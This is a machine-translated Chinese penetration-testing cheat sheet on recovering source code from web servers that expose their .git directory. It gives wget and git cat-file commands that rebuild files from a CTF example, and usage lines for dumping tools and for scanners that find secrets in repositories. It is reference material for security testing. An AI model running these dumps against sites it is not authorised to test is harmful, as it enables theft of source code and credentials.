Git


文档摘要

Git 概述 方法论 从 .git/logs/HEAD 恢复文件内容 从 .git/index 恢复文件内容 工具 自动恢复 git-dumper.py diggit.py GoGitDumper rip-git GitHack GitTools 挖掘密钥 noseyparker trufflehog Yar Gitrob Gitleaks 参考文献 方法论 以下示例将创建 .git 文件夹的副本或当前提交的副本。 检查以下文件,如果存在,您可以提取 .git 文件夹。 从 .

Git

概述

方法论

以下示例将创建 .git 文件夹的副本或当前提交的副本。

检查以下文件,如果存在,您可以提取 .git 文件夹。

  • .git/config
  • .git/HEAD
  • .git/logs/HEAD

从 .git/logs/HEAD 恢复文件内容

  • 检查是否存在 403 Forbidden 或目录列表,以找到 /.git/ 目录

  • Git 将所有信息保存在 .git/logs/HEAD 中(也可以尝试小写的 head

    0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git 15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial. 26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag. 6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
  • 使用哈希访问提交

    # create an empty .git repository git init test cd test/.git # download the file wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c # first byte for subdirectory, remaining bytes for filename mkdir .git/object/26 mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/ # display the file git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c tree 323240a3983045cdc0dec2e88c1358e7998f2e39 parent 15ca375e54f056a576905b41a417b413c57df6eb author Michael <michael@easyctf.com> 1489390329 +0000 committer Michael <michael@easyctf.com> 1489390329 +0000 Initial.
  • 访问树 323240a3983045cdc0dec2e88c1358e7998f2e39

    wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39 mkdir .git/object/32 mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/ git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39 040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css 100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt 040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts 100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html 040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
  • 读取数据 (flag.txt)

    wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f mkdir .git/object/cb mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/ git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f

从 .git/index 恢复文件内容

使用 git index 文件解析器 https://pypi.python.org/pypi/gin (python3)。

pip3 install gin gin ~/git-repo/.git/index

恢复索引中列出的每个文件的名称和 sha1 哈希,并使用上述相同的过程来恢复文件。

$ gin .git/index | egrep -e "name|sha1" name = AWS Amazon Bucket S3/README.md sha1 = 862a3e58d138d6809405aa062249487bee074b98 name = CRLF injection/README.md sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141

工具

自动恢复

git-dumper.py

pip install -r requirements.txt ./git-dumper.py http://web.site/.git ~/website

diggit.py

./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True] ./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1

-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o 是要下载的特定 Git 对象的哈希值

GoGitDumper

go get github.com/c-sto/gogitdumper gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/ git log git checkout

rip-git

perl rip-git.pl -v -u "http://web.site/.git/" git cat-file -p 07603070376d63d911f608120eb4b5489b507692 tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2 parent 15ca375e54f056a576905b41a417b413c57df6eb author Michael <michael@easyctf.com> 1489389105 +0000 committer Michael <michael@easyctf.com> 1489389105 +0000 git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2

GitHack

GitHack.py http://web.site/.git/

GitTools

./gitdumper.sh http://target.tld/.git/ /tmp/destdir git checkout -- .

挖掘密钥

noseyparker

praetorian-inc/noseyparker - Nosey Parker 是一个命令行工具,可在文本数据和 Git 历史记录中查找密钥和敏感信息。

git clone https://github.com/trufflesecurity/test_keys docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest scan --datastore datastore.np ./test_keys/ docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest report --color always noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker noseyparker scan --datastore np.noseyparker --github-user octocat

trufflehog

在 Git 仓库中搜索高熵字符串和密钥,并深入挖掘提交历史。

pip install truffleHog truffleHog --regex --entropy=False https://github.com/trufflesecurity/trufflehog.git

Yar

通过正则表达式、熵或两者结合的方式,在用户/组织的 Git 仓库中搜索密钥。灵感来自臭名昭著的 truffleHog。

go get github.com/nielsing/yar # https://github.com/nielsing/yar yar -o orgname --both

Gitrob

Gitrob 是一个工具,可帮助查找可能敏感的文件,这些文件被推送到 GitHub 上的公共仓库。Gitrob 会将属于某个用户或组织的仓库克隆到可配置的深度,并遍历提交历史,标记与潜在敏感文件签名匹配的文件。

go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef gitrob [options] target [target2] ... [targetN]

Gitleaks

Gitleaks 提供了一种方法,用于在 Git 源代码仓库中查找未加密的密钥和其他不需要的数据类型。

  • 对公共仓库运行 gitleaks

    docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
  • 对已克隆到 /tmp/ 的本地仓库运行 gitleaks

    docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
  • 对特定的 GitHub Pull 请求运行 gitleaks

    docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件作为权威依据。对于关键信息,建议采用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


发布者: 作者: 转发
评论区 (0)
U